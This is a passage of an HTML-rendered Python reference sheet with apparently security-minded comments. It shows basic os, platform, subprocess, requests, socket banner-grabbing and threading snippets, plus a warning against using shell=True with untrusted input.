&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;getcwd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;listdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;.&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;environ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;HOME&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                    # read an env var&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;exists&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;f&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt;; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;makedirs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;a&#x2F;b&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; exist_ok&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; platform&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                         # &amp;#39;Linux&amp;#39; &#x2F; &amp;#39;Windows&amp;#39; &#x2F; &amp;#39;Darwin&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;release&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;machine&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # OS + CPU arch (host fingerprinting)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; subprocess&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; subprocess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;ls&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;-la&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span&gt; capture_output&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;res&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;stdout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; res&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;returncode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # text=True -&amp;gt; str output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Pass commands as a &lt;strong&gt;list&lt;&#x2F;strong&gt; and avoid &lt;code&gt;shell=True&lt;&#x2F;code&gt; with untrusted input - string+shell is how command injection happens.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;networking-requests-session-json-socket&quot;&gt;Networking: requests (Session, json=), socket&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;api.example.com&#x2F;users&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                 params&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;page&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;},&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                 headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;Authorization&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;Bearer TOKEN&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;status_code; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span&gt;; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;text; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;headers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# json= serializes the body AND sets Content-Type: application&#x2F;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;requests&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;post&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;api.example.com&#x2F;x&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;msg&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;hi&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Session — reuse cookies &#x2F; headers &#x2F; TCP connection across requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;Session&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;update&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;({&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;tool&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;site&#x2F;login&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # cookies set here...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;https:&#x2F;&#x2F;site&#x2F;dashboard&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # ...are sent automatically here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# socket — raw TCP (e.g. banner grabbing a service)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; socket&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; socket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;socket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;socket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;AF_INET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; socket&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;SOCK_STREAM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;settimeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;connect&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;example.com&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sendall&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;HEAD &#x2F; HTTP&#x2F;1.0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #949FB5;&quot;&gt;\r\n\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;recv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;close&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;concurrency-threading&quot;&gt;Concurrency: threading&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; threading&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; work&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;task &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;threads&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;threading&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;Thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;work&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; threads&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; threads&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # wait for all to finish&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Threads speed up &lt;strong&gt;I&#x2F;O-bound&lt;&#x2F;strong&gt; work (many concurrent requests, port checks). Due to the GIL they don&#x27;t parallelize CPU-bound work — use &lt;code&gt;multiprocessing&lt;&#x2F;code&gt; for that.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;context-managers-contextlib&quot;&gt;Context managers: contextlib&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; contextlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; contextmanager&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; suppress&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
